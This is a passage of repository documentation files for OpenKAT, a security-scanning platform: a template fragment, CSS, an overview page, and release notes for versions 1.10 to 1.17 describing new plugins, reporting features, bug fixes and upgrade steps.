field.annotation.__args__ %}\n    {% endif %}\n    {% if possible_values %}\n\n{{ heading(3) }} Possible values\n\n        {% if not is_values_with_descriptions(possible_values) %}\n            {% if possible_values|join(\"`, `\")|length + 2 <= 75 %}\n`{{ possible_values|join(\"`, `\") }}`\n            {% else %}\n                {% for value in possible_values %}\n- `{{ value }}`\n                {% endfor %}\n            {% endif %}\n        {% else %}\n            {% for value in possible_values %}\n                {% if value.__class__.__name__ == \"tuple\" and value|length <= 2 %}\n                    {% if value|length == 2 %}\n- `{{ value[0] }}`: {{ value[1] }}\n                    {% else %}\n- `{{ value[0] }}`\n                    {% endif %}\n                {% else %}\n- `{{ value }}`\n                {% endif %}\n            {% endfor %}\n        {% endif %}\n    {% endif %}\n{% endfor %}\n\n{% endfor %}\n"
  },
  {
    "path": "docs/source/_static/openkat.css",
    "content": ".wy-nav-content:has(.wy-table-responsive) {\n  max-width: fit-content;\n}\n\n.wy-table-responsive table td,\n.wy-table-responsive table th {\n  vertical-align: top !important;\n  white-space: normal;\n}\n\n.wy-table-responsive {\n  margin-bottom: 24px;\n  max-width: 100%;\n  overflow: visible;\n}\n\n.wy-side-nav-search > div.version {\n  color: hsl(0deg 0% 100% / 60%);\n}\n"
  },
  {
    "path": "docs/source/about-openkat/index.rst",
    "content": "About OpenKAT\n#################\n\nThis section contains an introduction about OpenKAT. Here you can read what OpenKAT is, what it is used for and why it could be useful for you to use it.\nBesides this, you can also find the release notes here.\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Contents\n\n   what-is-openkat\n   release-notes/index\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.10.rst",
    "content": "============\nOpenKAT 1.10\n============\n\nThe most visible change is that the user interface got major improvements and\nuses the latest version of Manon. There are still some minor issues left that\nwill be fixed in upcoming releases.\n\nFinding types have been moved from Rocky database to Octopoes/XTDB and types are\nan OOI now. Having the findings together with finding types in XTDB means that\nwe can query, aggregate and/or filter the findings based on findingtypes or\nseverity in XTDB. By doing those queries completely in XTDB we fixed several\nperformance issues. Finding types are added by boefjes which will also give more\nflexibility adding/changing/updating finding types in the future.\n\nThe CVE finding boefje will download the CVE information from\nhttps://cve.openkat.dev/. It is also possible to run your own instance of this\nAPI, see :doc:`/installation-and-deployment/cveapi` for more information.\n\nThe Python version used in the container images have been updated to 3.11.\nPython 3.11 is a lot faster so this should also make OpenKAT faster. Django\nversion has also been updated to version 4.2.\n\nThis release also provides packages for Debian 12 (bookworm). We recommend\neveryone to upgrade their machines to Debian 12 because the included Python 3.11\nwill give a big performance boost. Debian 11 packages will still be provided\nuntil December 2023 as described in :ref:`installation-and-deployment/production-debian-environment:Supported distributions`.\n\nNew Features\n============\n\n * Two factor auth can be disabled. We recommend that this only be used for\n   development/test installations or when external authentication is in use.\n * External authentication support using Django's standard middleware that uses\n   REMOTE_USER. See :doc:`/installation-and-deployment/external-authentication` how to configure this.\n * The used signing provider is stored alongside rawfiles to make it possible to\n   switch providers and still check older rawfiles.\n * The task list has better filters.\n * Environment variables for boefjes aren't tutomatically inherited from the\n   runner process anymore and need to be set explicitly.\n * New masscan boefje for scanning IP ranges. This boefje should work better for\n   large ranges than the nmap IP range boefje.\n * New external asset database boefje that can query an external database HTTP\n   API to import IPs, netblocks and hostnames.\n\nBug fixes\n=========\n\n * Sleeping is only done when all queues are empty. This makes it possible to\n   increase the boefjes/normalizer poll interval without a decrease in\n   throughput.\n * The Fierce boefje got some fixes.\n * A number of bugs in the scheduler have been fixed.\n\nUpgrading\n=========\n\nDjango 4.2 requires that the trusted origins for CSRF protection is set. This\ncan be done using the `DJANGO_CSRF_TRUSTED_ORIGINS` variable. It is a good idea\nto also set `DJANGO_ALLOWED_HOSTS` to the used hostnames, detailed instructions\nare written in the :doc:`/installation-and-deployment/hardening` section.\n\nIf you configured system environment settings for boefjes or relied on existing\nsystem variables being inherited by boefjes you need to explicitly set those\nvariables using either the boefje settings in the KAT-alogus or system\nenvironment variables provided to the boefje process prepended with `BOEFJE_`.\nSee environment variables section of the :doc:`/installation-and-deployment/environment-settings/boefjes` documentation for more\ninformation.\n\nThe normal instructions for upgrading :ref:`Upgrading Debian`\nor upgrading :ref:`Upgrading_Containers` should be followed.\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github <https://github.com/minvws/nl-kat-coordination/releases/tag/v1.10.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.11.rst",
    "content": "============\nOpenKAT 1.11\n============\n\nThis release has a major refactor of the environment variables used to configure\nOpenKAT. Every variables has been reviewed and defaults changed, naming has been\nmade more consistent and datatype validation improved. Most importantly, you can\nnow find comprehensive documentation about all environment settings at\n:doc:`/installation-and-deployment/environment-settings/index`. This documentation is now automatically generated\nfrom the source code itself and should always be fully up-to-date with the main\nbranch.\n\nThis release also includes backwards compatibility for the old variable names\nfor most settings. We recommend to check your configuration files and rename\nthem. OpenKAT will log a warning if you use the old variable names instead of\nthe new ones.\n\nA new boefje, normalizer and bit for TLS Ciphers has been added. Findings will\nbe created when support for old TLS ciphers are detected. The severity of the\nfindings created follows the current policy of the Ministry of Health, Welfare\nand Sport.\n\nA few scripts have been added that make it easier to install, upgrade and debug\nOpenKAT on Debian. See :doc:`/installation-and-deployment/scripts` for more information. Thanks to Rob\nMusquetier for contributing the scripts.\n\nNew Features\n============\n\n * New reverse DNS boefje has been added. Thanks to Robin Visser for\n   contributing this boefje!\n * Finding can be muted in bulk and filters on the finding page have been\n   improved.\n * Tasks can be manually rerun with a button on the task page.\n * The task pages have been improved and the normalizer details show the objects\n   yielded.\n * Question OOIs have been added.\n * The port classification bit can be configured to create one aggregate finding\n   for each IP address instead of a finding for each open port.\n * Which ports are considered common open ports, database ports and sysadmin\n   ports can also be configured in the port classification bit.\n * New organization members can be uploaded with a CSV file.\n * The env and code hashes of boefje job are stored in bytes.\n * The Expect-CT header finding has been removed because the header is\n   deprecated.\n\nBug fixes\n=========\n\n * Report generation timeout has been increased and configurable using\n   KEIKO_REPORT_TIMEOUT in rocky.\n * Problems with sorting in KAT-alogus have been fixed.\n * RabbitMQ connections and HTTP Sessions are correctly cached in Octopoes.\n * Several problems with connections to RabbitMQ and error handling have been\n   fixed.\n * WPScan API token is made optional.\n * A problem with the many ports open normalizer throwing an exception has been\n   fixed.\n * Enable/disable boefjes notification correctly shows name instead of ID.\n * Wrongly displayed clearance level in organization member list has been fixed.\n * A task will be rescheduled if no results in bytes are found after a grace\n   period\n * The nmap boefje will only report open ports reducing the amount of data in\n   the nmap output.\n\nUpgrading\n=========\n\nThe normal instructions for upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>` should be followed.\n\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github <https://github.com/minvws/nl-kat-coordination/releases/tag/v1.11.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.12.rst",
    "content": "============\nOpenKAT 1.12\n============\n\nThe KAT-alogus has been extended to show both the boefjes and normalizers. The\nnormalizers don't have a detail page yet, this is planned for the next release.\n\nInformation about which filters where used to create a report has been added to\nthe reports. The report will also include a link to the OpenKAT installation\nthat can be used to reproduce the report. The link in the report can be disabled\nby setting `ROCKY_REPORT_PERMALINKS` to `False`.\n\nThe number of gunicorn workers in the Debian packages has been set to a fixed\nnumber instead of basing the number of workers on the number of cores. This\nfixes a problem that installing all the packages on a single machine with a lot\nof cores it would start too many processes and run out of memory.\n\nNew Features\n============\n\n * A new boefje and normalizer for checking security.txt has been added.\n * When downloading a report on the findings page the active filters are used to\n   create the report.\n * The superuser has access to every organisation. Before this change you would\n   need to manually add the superuser as a member of each organization.\n\nBug fixes\n=========\n\n * The severity level for CVEs were one level too low because the maximum score\n   of each severity was used as the minimum score. Thanks to Jordy van den\n   Elshout for contributing the fix!\n * Rescheduling a task that is already running is correctly handled now.\n * HSTS findings are only created on https resource and not on http resources.\n * Indentation and counter of child OOIs in OOI tree view has been fixed.\n * The task list will show the plugin name instead of the plugin id in the task list.\n * A boefje can only be enabled if the user has the correct clearance.\n * We correct redirect back to the original page when we prompt for login after\n   session timeout.\n * The home directory is set correct in the Debian packages.\n * Handling of systemd units has been fixed in the Debian packages. This means\n   that after installing the services will be automatically started and after\n   upgrading they will be automatically restarted.\n\nUpgrading\n=========\n\nThe normal instructions for upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>` should be followed.\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github\n<https://github.com/minvws/nl-kat-coordination/releases/tag/v1.12.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.13.rst",
    "content": ".. _release-notes-1.13:\n\n============\nOpenKAT 1.13\n============\n\nThis release introduces a preview of our new reporting functionality. It is not\nfinished yet and only available when you set the feature flag\n``FEATURE_REPORTS`` to ``True`` in the rocky configuration. The new reporting is\nbased on HTML instead of LaTeX which should make it easier to implement new\nreports and customize existing reports. Let us know if you have any feedback on\nwhat we have already implemented.\n\nA new container-native boefjes runner has been added. This allows running\nboefjes as self-contained OCI images. These boefjes get their task input and\nsave their output using REST APIs. This is a big step towards making it possible\nto run your own boefjes without having to add them to the OpenKAT source.\n\nWe are replacing the uWSGI server in rocky with Granian. uWSGI doesn't seem to\nbe well maintained anymore and we run into a bug that has existed for a long\ntime and doesn't get fixed. Granian is new application server that is better\nmaintained and also has good performance. Granian is also written in Rust\ninstead of C so should also have better security.\n\nIf you have made any configuration changes or are using rocky on port 8443 with\nthe Debian packages you need to make sure to configure Granian correctly.\nGranian will only listen on 127.0.0.1 port 8000 by default and won't also listen\non 0.0.0.0 port 8443 like uWSGI. To not break anything in 1.13 we will support\nusing both uWSGI and Granian with uWSGI still being used when upgrading from\nearlier versions. In 1.14 we will switch to using Granian and in 1.15 we will\nremove uWSGI. In new installation the Debian packages will already use Granian\nby default.\n\nNew Features\n============\n\n * Findings can also be unmuted in bulk.\n * Detail pages for normalizers have been added to the KAT-alogus.\n * Boefje for checking CVE-2023-34039 (authentication bypass in Aria) has been\n   added.\n * New CLI tools have been added that allow you to run a boefje, normalizer and\n   bit from the CLI and show the raw file output of a boefje. See :ref:`developer-documentation/boefjes:Manually\n   running a boefje or normalizer` and :ref:`developer-documentation/octopoes:Run bit manually`.\n * Filtering on the object list page has been improved.\n * Tabs have new a visual styling.\n * Descructive button styling has been added.\n * The risk level indicator also have new improved styling.\n * The color scheme used in OpenKAT has been updated.\n * New design of expanding rows.\n * OpenKAT has been translated to Italian.\n * The scheduler has more metrics available about task status.\n * The openkat-reset.sh script has been added to scripts directory that resets\n   your whole installation and deletes all your data.\n\nBug fixes\n=========\n\n * We no longer add missing DKIM/DMARC/SPF findings for hostnames that don't exist.\n * Enabling or disabling of normalizer has been fixed.\n * Tasks that are stalled will be set to failed instead of being dispatched forever.\n * Fixed issues in the error handling of requests to scheduler in rocky.\n * A bug where the scheduler used a wrong header in requests has been fixed.\n * The DATABASE_MIGRATION container environment variable is no longer case sensitive\n * We give proper error message if the API url of one of the other services are\n   missing in rocky.\n\nUpgrading\n=========\n\nThe normal instructions for upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>` should be followed.\n\nContainers\n----------\n\nIf you are using the container images you can switch to granian by setting the\n`USE_GRANIAN` env variable to `1` or `true`.\n\nDebian packages\n---------------\n\nIf you want to switch to Granian you can create the directory\n``/etc/systemd/system/kat-rocky.service.d`` and creat the file\n``/etc/systemd/system/kat-rocky.service.d/use-granian.conf`` with the following contents:\n\n.. code-block:: systemd\n\n    [Service]\n    ExecStart=\n    ExecStart=/opt/venvs/kat-rocky/bin/granian --interface wsgi rocky.wsgi:application\n    Type=simple\n\nThis file is also used by the packaging scripts in new installations to have\nthose installations use Granian by default. Do not put any other configuration\nin this file because it will be automatically removed when upgrading to 1.14.\n\nIf you were previously accessing OpenKAT using https on port 8443 you need to\nchange the configuration as described on the :ref:`debian_prod_configure_reverse_proxy`.\n\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github\n<https://github.com/minvws/nl-kat-coordination/releases/tag/v1.13.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.14.rst",
    "content": "============\nOpenKAT 1.14\n============\n\nOur final release for 2023 introduces a whole slew of report types build using\nour new reporting functionality. These specific (TLS, mail, basic security,\netc.) reports can be combined into aggregated reports for one or multiple assets\nfrom a single organisation. Another great addition is the first steps into what\nwe would like to call Federated OpenKAT. You can export reports of any kind and\nre-import these into another organisation for further processing, keeping in\nline with out usual process each of these imported reports is timestamped and\nstored in the bi-temporal storage paving the way to compliance over multiple\norganisations, assets or vendors. We are looking forward to providing easier\nuser-interfaces and broader support for in future releases but we feel these\nfirst steps are a good start. Let us know if you have any feedback on what we\nhave already implemented.\n\nuWSGI has been replaced by Granian by default. See the :ref:`release-notes-1.13` release notes for more information. You can still switch back to uWSGI\nin 1.14 if Granian does not work. uWSGI support will be removed in 1.15.\n\nThe pydantic version used by OpenKAT has been updated to version 2. Pydantic v2\nhas big improvements in performance which should also result in OpenKAT speed\nimprovements.\n\nIn line with our policy this will be the last release to have Debian 11\npackages. If you are still running Debian 11 you need to upgrade to Debian 12 to\nbe able to upgrade to 1.15.\n\nNew Features\n============\n\n * RPKI boefje has been added.\n * The boefjes definitions has correct raw types they produce and those are\n   listed in the KAT-alogus.\n * The object links on task list include the valid time now.\n * Secrets are hidden on boefje detail pages.\n * Nmap boefje has been split in a TCP and UDP boefje\n * Statistics has been added to the boefje and normalizer task pages.\n * The secheduler got less verbose logging and also structured logging.\n * Clearance level inheritance has been moved the clearance level tab.\n * Task details has been added to the task history tables on plugin and object detail pages.\n\nBug fixes\n=========\n\n * The wappalyzer boefje will yield redirect urls instead of wrong software instances.\n * HTML entities in the normalizer results are correctly escaped now.\n * The scheduler has got several fixes in threading, locking and other places.\n * Filtering objects with depth=1 for findings has been fixed.\n * Django admin correctly loads javascript now.\n\nUpgrading\n=========\n\nThe normal instructions for upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>` should be followed.\n\nDebian packages\n---------------\n\nBecause of the switch to Granian, we can't listen on both 8000 and 8443 anymore,\nand we will default listen only on port 8000 on 127.0.0.1. If you were\npreviously accessing OpenKAT using https on port 8443 you need to change the\nconfiguration as described on the :ref:`debian_prod_configure_reverse_proxy`.\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github\n<https://github.com/minvws/nl-kat-coordination/releases/tag/v1.14.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.15.rst",
    "content": "======================\nOpenKAT 1.15 (Roeltje)\n======================\n\nThis release includes some big optimizations in the new reporting functionality\nthat was introduced in 1.14. Measurements show that generating a report on 100\nobjects is approximately 20 times faster. The reports in general also got a lot\nof improvements and bugfixes.\n\nNew Features\n============\n\n * The types the normalizer consumes link to upload page now. The produces list\n   has been fixed and link to the object page.\n * Support for adding and checking CAA records has been added.\n * Token authentication for APIs has been added.\n * Reports show both when the report has been created and the selected valid time.\n * With CSV upload it is possible to also set the clearance level.\n * More CSP checks have been added.\n * Scan profiles can be declared through normalizers.\n * It possible to select all OOIs for aggregate reports.\n * Plugin page in reporting flow is skipped if all plugins are enabled.\n * Setting to limit size of IP range has been added to nmap boefje.\n * Added settings for database pool size config.\n * The KAT findings database has been updated.\n * New findings report has been added to replace the old one.\n * Improved metrics collection in the scheduler.\n * Extra checks for findings have been added to the dns report.\n\nBug fixes\n=========\n\n * Multireport doesn't have wrong preselection in form\n * Render dicts and list ooi attrs as jsonfield so that all OOIs can be manually added.\n * Install and update script check for sudo\n * Error handling in reporting has been improved\n * Fixed several bugs in mail report.\n * Fixed a bug in open ports report.\n * Fix broken wordpress check in wpscan boefje.\n * Add timeouts to CVE API downloader.\n * Forms will check if the required number of checkboxes are checked.\n * Primary buttons are properly aligned to the left and export buttons in the report are placed properly.\n * Do not show an error in tasks stats if no tasks have run yet.\n * Health page is accessible during onboarding.\n * Wrong domain count in systems report has been fixed.\n * Do not log an error on token refresh in bytes client.\n * Fix settings of kat_dns boefje not being used.\n * Ignore certificate errors in security txt boefje instead of returning an error.\n * Vulnerabilities in vulnerability report are sorted.\n * Duplicate OOIs have been removed in the reports.\n * Our HSTS check has been changed to case insensitive.\n * Give an error when future observed at date is selected.\n * Fix removal of findings when domain does not exist anymore.\n * Fix error with unicode in octopoes.\n * Fixes for table overflowing the PDF report.\n * Set a timeout on hanging test ssl container,\n * Raise exception if boefje input OOI has been deleted.\n * Filter out undeserializable objects from xtdb query, gets rid of \"could not deserialize value\" octopoes worker log messages.\n\nUpgrading\n=========\n\nThe normal instructions for upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>` should be followed.\n\nDebian packages\n---------------\n\n1.14 was the last release to provide Debian packages for Debian 11. If you are\nstill running Debian 11 you need to upgrade to Debian 12 to be able to upgrade\nto OpenKAT 1.15.\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github\n<https://github.com/minvws/nl-kat-coordination/releases/tag/v1.15.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.16.rst",
    "content": "============================================\nOpenKAT 1.16\n============================================\n\nThis release adds saving of reports. When completing the reporting workflow the\nreport will be saved and can be viewed later. This is a big step towards being\nable to schedule automatically generated reports. The reporting also has had a\nlot of improvements and fixes.\n\nSupport for running custom OCI images using only a boefje definition\n(boefje.json) has been added. This has been applied to nmap and dnssec boefjes.\nThe boefje.json still needs live in the OpenKAT code directory in this release,\nbut this is a big step towards being able to add custom boefjes.\n\nNew Features\n============\n\n* Add xtdb-cli tool to Octopoes. This can be used to easily interact with XTDB\n  and doing importing/exporting.\n* The onboarding workflow uses the new reporting system.\n* Add a warning to the CSP validator for 'self' on script-src directives. Ignore\n  missing CSP if the page is not XSS capable.\n* Add bit that checks for disallowed domains in the CSP header.\n* Update several plugins: Wappalizer, dns-records, ssl-certificates, pdio_subfinder, nuclei\n* The many-ports-open boefje/normalizer has been removed.\n* Backup scripts to backup container data when using the development setup. Thanks to @TobiasBDO for contributing the scripts.\n* More Octopoes Query support for complex path queries\n* Optimize queries executed when running bits\n* Introduce support for running custom built OCI images using only a boefje definition (boefje.json), applied to nmap.\n* Improvements of several reports in terms of performance, styling, OOI selection and configuration.\n* Improved documentation about reports, the new OCI image functionality and architecture, IPv6 support in Docker and Octopoes models.\n* Added documentation on how to make a boefje, normalizer, model, bit and report with examples. Thanks to @Souf149 for contributing some of these improvements.\n* Frysk has been added to the selectable list of languages. Over 30% of OpenKAT has been translated due to the amazing and hard work of `Wim Benes <https://www.linkedin.com/in/wimbenes/>`_. Tige tank!\n\nBug fixes\n=========\n\n* Fix OOI add/edit form\n* Fix version handling when no version is present in wappalyzer normalizer.\n* Error handling has been improved in a lot of places.\n* Fixed schema errors when plugin schema is empty or missing.\n* Fix and improve manually running a boefjes/normalizer.\n* The KATalogus plugin API doesn't have a hardcoded limit anymore.\n* Missing titles in FastAPI API's have been added.\n* Added workaround for broken links to OOIs in the normalizer task list.\n* Fix Snyk boefje creating empty CVE ids.\n\nUpgrading\n=========\n\nIt is no longer needed to seed the KATalogus database using `python -m\nboefjes.seed` on installation or upgrades. This is because v1.16.0 phases out\nthe `repository` database model in the KATalogus. The migration could\npotentially not be backward compatible for each install, so please read the\nfollowing carefully before triggering an upgrade.\n\nAll bits all need to be rerun because of model changes. This can be done on the\norganization settings page.\n\nChecking the KATalogus Migration\n================================\n\nIf you are using OpenKAT as a regular user and never called APIs or tweaked the database manually,\nyou can move forward with the normal instructions of upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>`.\n\nIf there is a chance you added entries to the seeded model,\nor you notice the KATalogus being down after the upgrade,\nplease check your `katalogus` database to see if any records are returned for the following query:\n\n.. code-block:: sql\n\n  SELECT * from plugin_state join repository r on repository_pk = r.pk where r.id != 'LOCAL'\n\nIf this raises an exception saying the `repository` table does not exist,\nthe migration was applied successfully and this is not the issue.\nIf this returns no records but the logs say:\n\"Cannot perform migration: remove plugin_states that refer to nonlocal repositories first.\",\nplease contact us.\n\nIf this returns one or more records, either delete these if these were not created intentionally,\nor contact us if you were in fact using a custom plugin repository.\nWe will help migrating your setup towards the new custom built OCI image solution,\nafter which the custom plugin repository is no longer needed.\n\nAlternatively, to check if there are repositories other than the 'LOCAL' repository,\nlook at the result of the following KATalogus endpoint for your organisations:\n`/v1/organisations/{your_organisation_id}/repositories`.\nThen follow the steps above using the HTTP endpoints to delete the other entries if needed, or contact us.\n\nAfter these steps, again the normal instructions for upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>` should be followed.\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github\n<https://github.com/minvws/nl-kat-coordination/releases/tag/v1.16.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.17.rst",
    "content": "============================================\nOpenKAT 1.17\n============================================\n\nThis release adds flexible scheduling, which will allow us to schedule periodic report\ngeneration next to running Boefjes on custom intervals. We also added structured\nJSON logging and audit trails to various user actions allowing for precise monitoring\nof user actions. Searching and sorting of object lists has been implemented, and\na cross-organization task-list has been included for users who have access to\nmultiple organizations.\n\nSupport for adding custom boefjes is continuously improving and the same holds true for\nReport generation.\n\nWe also migrated to Django 5, and upgraded various dependencies to keep in line with\ntheir latest (security) updates.\n\nNew Features\n============\n\n* Remove non standard header findings and add deprecated headers findings by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3127\n* Better default list of world writable domains in CSP checker by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3165\n* Add pluginToggler.js to Aggregate Report by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3202\n* Feature/boefje normalizer config models by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3118\n* Recalculate bit when a config object changes by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3206\n* cve-2024-6387 from RickGeex by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3194\n* Add observation data to observation table in OOI detail page by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3186\n* Gather BIT metrics [implementation] by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3122\n* Implement `structlog` by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3175\n* Implement logging format configuration by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3216\n* Feature/create dialog modal component by @TwistMeister in https://github.com/minvws/nl-kat-coordination/pull/3022\n* RPKI Improvements by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/2759\n* Add XTDB list and rename method in origin tool by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3234\n* feat: Updated color scheme by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3241\n* Feat/human readable dates by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3231\n* Record the user who last changed the Scan Profile by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3296\n* Catch valid DNSSEC signed SERVFAIL answers by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3271\n* Give report a name by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3258\n* Add user id to OOI by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3305\n* Add audit logging to CRUD actions using Django signals by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3314\n* Restructure scheduler development scripts by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3293\n* Raw upload with Scan OOIS by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3169\n* Basic audit trails via logging by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3317\n* Allow MuteFindings to expire by a user specified datetime by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3343\n* Add geo OOI type and Maxmind geoip boefje by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3238\n* Flexible scheduling by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/2786\n* Feature/3310 update description for external database boefje by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3359\n* feat: Dropdownlist options by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3340\n* feat: :hammer: Add indemnification level from external DB by @zcrt in https://github.com/minvws/nl-kat-coordination/pull/3311\n* Add more handling of external services responses in scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3372\n* Support setting a custom JSON schema for copied boefjes by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3344\n* Implement boefje details modal in report config flow by @TwistMeister in https://github.com/minvws/nl-kat-coordination/pull/3348\n* Add create schedule functionality to scheduler api by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3353\n* Search and sorting OOIs by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3262\n* Generic Finding normalizer by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3383\n* feat: :chart_with_upwards_trend: default katalogus view to boefje by @zcrt in https://github.com/minvws/nl-kat-coordination/pull/3394\n* feat: :pushpin: add subfinder settings by @zcrt in https://github.com/minvws/nl-kat-coordination/pull/3385\n* Use better paginator for finding list by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3407\n* Generic tasks view refactor by @zcrt in https://github.com/minvws/nl-kat-coordination/pull/3389\n* feat: :memo: improve pagination by @zcrt in https://github.com/minvws/nl-kat-coordination/pull/3393\n* Feat: Lazy loading on plugin images by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3414\n* Kat dns serverversion by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3291\n* Redirect to desired view when all plugins are enabled. by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3380\n* Fix findings overview overflow by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3439\n* Add indemnification to API by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3423\n* Feature/finding sorting searching by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3405\n* Update katalogus boefje descriptions by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3444\n* Feature: Render human readable ooi names in onboarding flow by @TwistMeister in https://github.com/minvws/nl-kat-coordination/pull/3454\n* feat: :boom: recalculate all bits by @zcrt in https://github.com/minvws/nl-kat-coordination/pull/3451\n* Add raw SQL migrations by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3457\n\nBug fixes\n=========\n\n* Bump docker/build-push-action from 5 to 6\n* Fix/sonarcloud https redirects in dockerfiles\n* Update Dockerfile, fix Sonarcloud issue by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3180\n* Update to Django 5.0 by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/2939\n* Updated `certifi` by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3209\n* Updated `zipp` by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3215\n* Use more concise regexes by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3181\n* Updated Django by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3217\n* Fix filtering on plugin_id for normalizers by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3226\n* Refactor Task List and filters with error handlers for Scheduler  by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/1957\n* Hotfix: boefje config migration should check the SQLAlchemy session by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3227\n* Remove action buttons on example boefjes at onboarding by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3236\n* Upgrade packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3259\n* Update mixins.py, unroll loops, dont re-init bytes/katalogus client by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3229\n* Fix: add related objects crash by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3268\n* RFC3161HashRepository accepts rfc3161_provider only as a string and Pydantic URLs are not strings anymore by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3281\n* Fix rocky logging by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3288\n* Bump sphinx from 7.4.6 to 7.4.7 by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/3265\n* Fix broken token auth when 2FA is enabled by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3260\n* Raise Timeout Exception when only timeouts from DNS server by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3264\n* Refactor/ooi details by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3275\n* Workaround setuptools 72 removing test command by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3304\n* Fix CSRF error in API with token auth by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3313\n* Restructure scheduler storage module by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3294\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/3179\n* fix: Button height by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3316\n* Fix new boefjes issue for scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3297\n* Restructure scheduler server module by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3295\n* Change report flow to POST requests by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3174\n* Updated `Django` and `opentelemetry` packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3324\n* Fix Garbage collection and disappearing ports issue by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3214\n* Limit the number of Celery workers that Octopoes can start #3232 by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3337\n* Fix async code calling blocking sync code by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3342\n* Fix rocky/tests/objects/test_objects_add.py  by @originalsouth in 